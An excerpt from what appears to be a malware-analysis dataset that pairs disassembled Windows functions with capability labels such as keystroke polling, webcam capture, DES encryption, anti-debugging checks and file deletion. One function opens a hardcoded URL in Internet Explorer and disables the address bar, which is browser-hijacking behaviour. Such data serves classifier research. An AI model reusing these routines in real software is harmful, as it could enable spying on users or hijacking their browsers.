joyce8/EMBER2024-capa huggingface dataset:
Function at 0x462ec0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4c74f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.004bd28a
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.00462820
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.004bd1b8
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.004b99a4
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.004b99a4
push 1
push 0
push 0
mov ecx, esi
call fcn.004b994c
push 1
push 0
push 1
mov ecx, esi
call fcn.004b994c
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.004bd2fc
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x463040
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4c7518
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.004bd28a
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.00462820
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.004bd1b8
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x463104
cmp dword [esp + 0x40], 1
jne 0x463102
cmp ecx, eax
jge 0x463104
mov eax, ecx
cmp eax, 0xc8
jge 0x463110
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.00462ec0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.004bd2fc
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x463900
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4c75c3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.004b7dbf
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.004bd532
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.004beb84
test eax, eax
je 0x463a1c
mov ecx, dword [esp + 0x3c]
call fcn.004bd55f
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x4639e0
push edi
mov ecx, esi
call fcn.004bab23
mov ecx, esi
call fcn.00463bc0
cmp dword [esp + 0x38], 1
jne 0x463a15
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.004bac8d
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x465c10
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x465c43
push esi
call fcn.00473de0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x465c3c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x465cc9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x465cb2
mov eax, dword [esi + 8]
test eax, eax
je 0x465c67
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x465cae
cmp eax, 2
je 0x465cb2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x465c5a
cmp eax, 3
je 0x465c8d
cmp eax, 1
jne 0x465c5a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x465c5a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x465c5a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00465cf0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x465cd8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00465cf0
add esp, 4
pop esi
ret

Function at 0x466560
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x466581
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x466581
mov eax, dword [eax + 0x44]
test eax, eax
je 0x466581
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4800e0
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x480183
test eax, eax
jbe 0x480183
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x480183
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x48012e
xor esi, esi
jmp 0x480134
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x48015f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.00482030
add esi, eax
push esi
mov ebx, esi
call fcn.00482030
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x480140
pop ebp
test edi, edi
pop edi
jne 0x480183
test ebx, ebx
je 0x480183
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.004a6c30
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x4802a5
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4803bd
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4803bd
mov eax, dword [esi + 0x3c]
push eax
call fcn.004b8211
mov esi, eax
test esi, esi
je 0x4803bd
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x4803bd
mov ecx, esi
call fcn.00480230
cmp edi, eax
jge 0x4803bd
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x480343
mov dword [esp + 0x34], 1
jmp 0x48039e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x4803bd
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0047f830
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc
Function at 0x486d90
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x7319bc]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x486da3
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x486de4
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x731a64]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x486e16
mov bl, byte [esp + ecx + 0x4c]
jmp 0x486e1a
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x486e0b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x486e38
mov bl, byte [esp + ecx + 0x4c]
jmp 0x486e3c
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x486e2d
xor ecx, ecx
mov eax, 0x7319cc
xor ebx, ebx
mov bl, byte [ecx + 0x731a74]
cmp byte [esp + ebx + 0x14], 0
je 0x486e67
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x731a8c]
cmp byte [esp + ebx + 0x14], 0
je 0x486e7e
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x486e4e
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x486dd7
lea edx, [esp + 0x84]
push edx
call fcn.00486ec0
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x48b930
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x4c7d5b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x11c
lea eax, [esp + 0x14]
push esi
xor esi, esi
push eax
push 0x104
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp eax, 0x104
jae 0x48ba10
lea ecx, [esp + 0x18]
lea edx, [esp + 0x18]
push ecx
push esi
push 0x7342c4
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
cmp eax, esi
je 0x48ba10
lea eax, [esp + 0x18]
push 0x1001
push eax
lea ecx, [esp + 0xc]
call fcn.004b6db4
mov dword [esp + 0x128], esi
mov esi, dword [esp + 0x134]
push str.lt_
push 0x7342b8
mov ecx, esi
call fcn.004b3847
push str.gt_
push 0x7342ac
mov ecx, esi
call fcn.004b3847
mov esi, dword [esi]
lea ecx, [esp + 4]
mov eax, dword [esi - 8]
push eax
push esi
call fcn.004b7068
lea ecx, [esp + 4]
call fcn.004b712c
mov esi, dword [esp + 0x130]
lea ecx, [esp + 0x18]
push ecx
mov ecx, esi
call fcn.004b6781
lea ecx, [esp + 4]
mov dword [esp + 0x128], 0xffffffff
call fcn.004b6e54
jmp 0x48ba23
mov esi, dword [esp + 0x130]
push 0x7641b0
mov ecx, esi
call fcn.004b6781
mov ecx, dword [esp + 0x120]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x128
ret
Function at 0x493780
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, dword [ebx + 0x13c]
push edi
test eax, eax
jle 0x4937cc
mov eax, dword [ebx + 0x140]
test eax, eax
jle 0x4937cc
mov ebp, dword [sym.imp.USER32.dll_GetKeyState]
xor esi, esi
lea edi, [ebx + 0x150]
mov eax, dword [edi]
test eax, eax
je 0x4937b6
push eax
call ebp
test ax, ax
jl 0x4937c4
inc esi
add edi, 4
cmp esi, 6
jb 0x4937a8
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
mov ecx, ebx
call fcn.00493480
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4974f0
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x497550
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x497550
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x497550
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x497550
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x497560
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x49ae50
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4c854f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
mov eax, dword [0x73a8c0]
push ebx
xor ebx, ebx
push esi
push edi
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], eax
lea ecx, [esp + 0x18]
mov edi, 1
push ecx
mov dword [esp + 0x34], edi
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
je 0x49aea8
mov esi, dword [esp + 0x38]
push 0x773270
mov ecx, esi
call fcn.004b6781
mov dword [esp + 0x10], edi
jmp 0x49af0e
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
push eax
call dword [sym.imp.RPCRT4.dll_UuidToStringA]
test eax, eax
je 0x49aece
mov esi, dword [esp + 0x38]
push 0x773270
mov ecx, esi
call fcn.004b6781
jmp 0x49af0a
mov ecx, dword [esp + 0x14]
push ecx
lea ecx, [esp + 0x10]
call fcn.004b689c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.RPCRT4.dll_RpcStringFreeA]
push 0x773270
push 0x739da4
lea ecx, [esp + 0x14]
call fcn.004b3847
mov esi, dword [esp + 0x38]
lea eax, [esp + 0xc]
push eax
mov ecx, esi
call fcn.004b6488
mov dword [esp + 0x10], edi
lea ecx, [esp + 0xc]
mov byte [esp + 0x30], bl
call fcn.004b6713
mov ecx, dword [esp + 0x28]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x28
ret

Function at 0x4b8bb5
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4b8bed
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004b6bba
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004b6b92
jmp 0x4b8bf9
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4ba2ac
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4ba2ee
call fcn.004c0236
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4ba2ee
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4ba2e5
xor eax, eax
jmp 0x4ba2f6
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004ba2fc
pop edi
pop esi
pop ebx
ret 4

Function at 0x4c0766
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4c0794
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4c07b2
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004c06cc
jmp 0x4c07b2
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4c07b2
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004c06cc
test edi, edi
mov eax, edi
jne 0x4c079c
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401680
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
mov ecx, 0x11
xor eax, eax
mov edi, 0x405340
rep stosd dword es:[edi], eax
mov dword [0x405330], eax
push 0x405330
mov dword [0x405334], eax
push 0x405340
mov dword [0x405338], eax
mov dword [0x405340], 0x44
push eax
push eax
push eax
push eax
push eax
push eax
push str.open_http:__mail.ztg_cn.com:809
push str.c:Program_FilesInternet_ExplorerIEXPLORE.EXE
mov dword [0x40533c], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [0x405388]
test eax, eax
jne 0x40170e
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
push 0x12c
call edi
push 0x405020
push 0
call esi
test eax, eax
mov dword [0x405388], eax
jne 0x40170e
push 0x405148
push eax
call esi
test eax, eax
mov dword [0x405388], eax
je 0x4016e4
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
push 0
push str.WorkerW
push 0
push eax
call esi
mov ecx, dword [0x405388]
push 0
push str.CommandBarClass
push 0
push ecx
mov dword [0x40538c], eax
call esi
mov edx, dword [0x40538c]
push 0
push str.ReBarWindow32
push 0
push edx
mov edi, eax
call esi
push 0
push str.Address_Band_Root
push 0
push eax
call esi
push 0
push str.Edit
push 0
push eax
call esi
push 0
push str.ReBarWindow32
push 0
push edi
mov ebx, eax
call esi
push 0
push str.TabBandClass
push 0
push eax
call esi
push 0
push str.DirectUIHWND
push 0
push eax
call esi
mov edi, dword [sym.imp.USER32.dll_EnableWindow]
push 0
push ebx
mov esi, eax
call edi
push 0
push esi
call edi
pop edi
pop esi
pop ebx
ret
Function at 0x4ebf30
Capabilities:
Check for software breakpoints

Disassembly:
mov eax, dword [esp + 4]
push esi
xor esi, esi
xor edx, edx
mov cx, word [eax]
cmp cx, 0x6c
setge dl
xor eax, eax
cmp cx, 0x60
setl al
or edx, eax
jne 0x4ebf5d
mov si, cx
add si, 4
jo 0x4ec1a6
xor edx, edx
cmp cx, 0x84
setge dl
xor eax, eax
cmp cx, 0x6c
setl al
or edx, eax
jne 0x4ebf81
mov si, cx
add si, 5
jo 0x4ec1a6
xor edx, edx
cmp cx, 0x9c
setge dl
xor eax, eax
cmp cx, 0x84
setl al
or edx, eax
jne 0x4ebfa6
mov si, cx
add si, 6
jo 0x4ec1a6
xor edx, edx
cmp cx, 0xb4
setge dl
xor eax, eax
cmp cx, 0x9c
setl al
or edx, eax
jne 0x4ebfcb
mov si, cx
add si, 7
jo 0x4ec1a6
xor edx, edx
cmp cx, 0xcc
setge dl
xor eax, eax
cmp cx, 0xb4
setl al
or edx, eax
jne 0x4ebff0
mov si, cx
add si, 8
jo 0x4ec1a6
xor edx, edx
cmp cx, 0xe4
setge dl
xor eax, eax
cmp cx, 0xcc
setl al
or edx, eax
jne 0x4ec015
mov si, cx
add si, 9
jo 0x4ec1a6
xor edx, edx
cmp cx, 0xfc
setge dl
xor eax, eax
cmp cx, 0xe4
setl al
or edx, eax
jne 0x4ec03a
mov si, cx
add si, 0xa
jo 0x4ec1a6
xor edx, edx
cmp cx, 0x114
setge dl
xor eax, eax
cmp cx, 0xfc
setl al
or edx, eax
jne 0x4ec05f
mov si, cx
add si, 0xb
jo 0x4ec1a6
xor edx, edx
cmp cx, 0x12c
setge dl
xor eax, eax
cmp cx, 0x114
setl al
or edx, eax
jne 0x4ec084
mov si, cx
add si, 0xc
jo 0x4ec1a6
xor edx, edx
cmp cx, 0x144
setge dl
xor eax, eax
cmp cx, 0x12c
setl al
or edx, eax
jne 0x4ec0a9
mov si, cx
add si, 0xd
jo 0x4ec1a6
xor edx, edx
cmp cx, 0x15c
setge dl
xor eax, eax
cmp cx, 0x144
setl al
or edx, eax
jne 0x4ec0ce
mov si, cx
add si, 0xe
jo 0x4ec1a6
xor edx, edx
cmp cx, 0x174
setge dl
xor eax, eax
cmp cx, 0x15c
setl al
or edx, eax
jne 0x4ec0f3
mov si, cx
add si, 0xf
jo 0x4ec1a6
xor edx, edx
cmp cx, 0x18c
setge dl
xor eax, eax
cmp cx, 0x174
setl al
or edx, eax
jne 0x4ec118
mov si, cx
add si, 0x10
jo 0x4ec1a6
xor edx, edx
cmp cx, 0x1a4
setge dl
xor eax, eax
cmp cx, 0x18c
setl al
or edx, eax
jne 0x4ec139
mov si, cx
add si, 0x11
jo 0x4ec1a6
xor edx, edx
cmp cx, 0x1bc
setge dl
xor eax, eax
cmp cx, 0x1a4
setl al
or edx, eax
jne 0x4ec15a
mov si, cx
add si, 0x12
jo 0x4ec1a6
xor edx, edx
cmp cx, 0x1d4
setge dl
xor eax, eax
cmp cx, 0x1bc
setl al
or edx, eax
jne 0x4ec17b
mov si, cx
add si, 0x13
jo 0x4ec1a6
xor edx, edx
cmp cx, 0x1e0
setge dl
xor eax, eax
cmp cx, 0x1d4
setl al
or edx, eax
jne 0x4ec19f
add cx, 0x14
pop esi
jo 0x4ec1a6
mov eax, ecx
ret 4
mov ax, si
pop esi
ret 4
call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]
nop
nop
nop
nop
Function at 0x40106c
Capabilities:
Delete directory
Delete file

Disassembly:
mov eax, 0x45eba3
call fcn.0043b5c0
sub esp, 0x3c
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x1c], esi
cmp byte [esi + 0x20], 0
push 1
pop ebx
mov dword [ebp - 4], ebx
jne 0x401253
mov edi, dword [esi + 4]
mov eax, dword [esi + 8]
cmp edi, eax
je 0x401162
mov ecx, edi
call fcn.00401f43
push eax
lea eax, [ebp - 0xd]
push ebx
push eax
push 0x47611c
lea ecx, [ebp - 0x48]
call fcn.00401717
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.00401799
push eax
lea eax, [ebp - 0xe]
sub esp, 0x28
mov ecx, esp
mov dword [ebp - 0x18], esp
push ebx
push eax
push 0x476108
call fcn.00401717
sub esp, 0x28
lea eax, [ebp - 0xf]
mov ecx, esp
mov dword [ebp - 0x20], esp
push ebx
push eax
push 0x4760f8
mov byte [ebp - 4], 3
call fcn.00401717
mov byte [ebp - 4], 2
call fcn.0043288c
add esp, 0x58
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], bl
call fcn.0040127e
and dword [ebp - 0x18], 0
push 0xc
sub esp, 0x28
mov ecx, esp
mov dword [ebp - 0x20], esp
push ebx
push edi
call fcn.004016ed
call fcn.0042c97a
add esp, 0x2c
test al, al
je 0x401156
mov ecx, edi
call fcn.00401f43
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x401156
mov eax, dword [ebp - 0x18]
inc dword [ebp - 0x18]
cmp eax, 0x64
jge 0x401156
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401112
add edi, 0x28
cmp edi, dword [esi + 8]
jne 0x40109f
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x14], eax
cmp eax, dword [esi + 0x14]
je 0x401246
mov eax, dword [ebp - 0x14]
lea ecx, [eax - 0x28]
call fcn.00401f43
push eax
lea eax, [ebp - 0xf]
push ebx
push eax
push 0x4760ec
lea ecx, [ebp - 0x48]
call fcn.00401717
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.00401799
push eax
lea eax, [ebp - 0xe]
sub esp, 0x28
mov ecx, esp
mov dword [ebp - 0x20], esp
push ebx
push eax
push 0x4760d8
call fcn.00401717
sub esp, 0x28
lea eax, [ebp - 0xd]
mov ecx, esp
mov dword [ebp - 0x18], esp
push ebx
push eax
push 0x4760f8
mov byte [ebp - 4], 5
call fcn.00401717
mov byte [ebp - 4], 4
call fcn.0043288c
add esp, 0x58
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], bl
call fcn.0040127e
and dword [ebp - 0x18], 0
push 0xc
lea ecx, [ebp - 0x14]
sub esp, 0x28
mov edi, esp
mov dword [ebp - 0x20], esp
push ebx
call fcn.00401a9f
push eax
mov ecx, edi
call fcn.004016ed
call fcn.0042c97a
add esp, 0x2c
test al, al
je 0x40123a
mov eax, dword [ebp - 0x14]
lea ecx, [eax - 0x28]
call fcn.00401f43
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x40123a
mov eax, dword [ebp - 0x18]
inc dword [ebp - 0x18]
cmp eax, 0x64
jge 0x40123a
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4011e8
sub dword [ebp - 0x14], 0x28
mov eax, dword [ebp - 0x14]
jmp 0x401168
cmp byte [esi + 0x21], 0
je 0x401253
push ebx
call fcn.004012f8
pop ecx
and byte [ebp - 4], 0
lea ecx, [esi + 0x10]
call fcn.00401a6c
or dword [ebp - 4], 0xffffffff
mov ecx, esi
call fcn.00401a6c
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret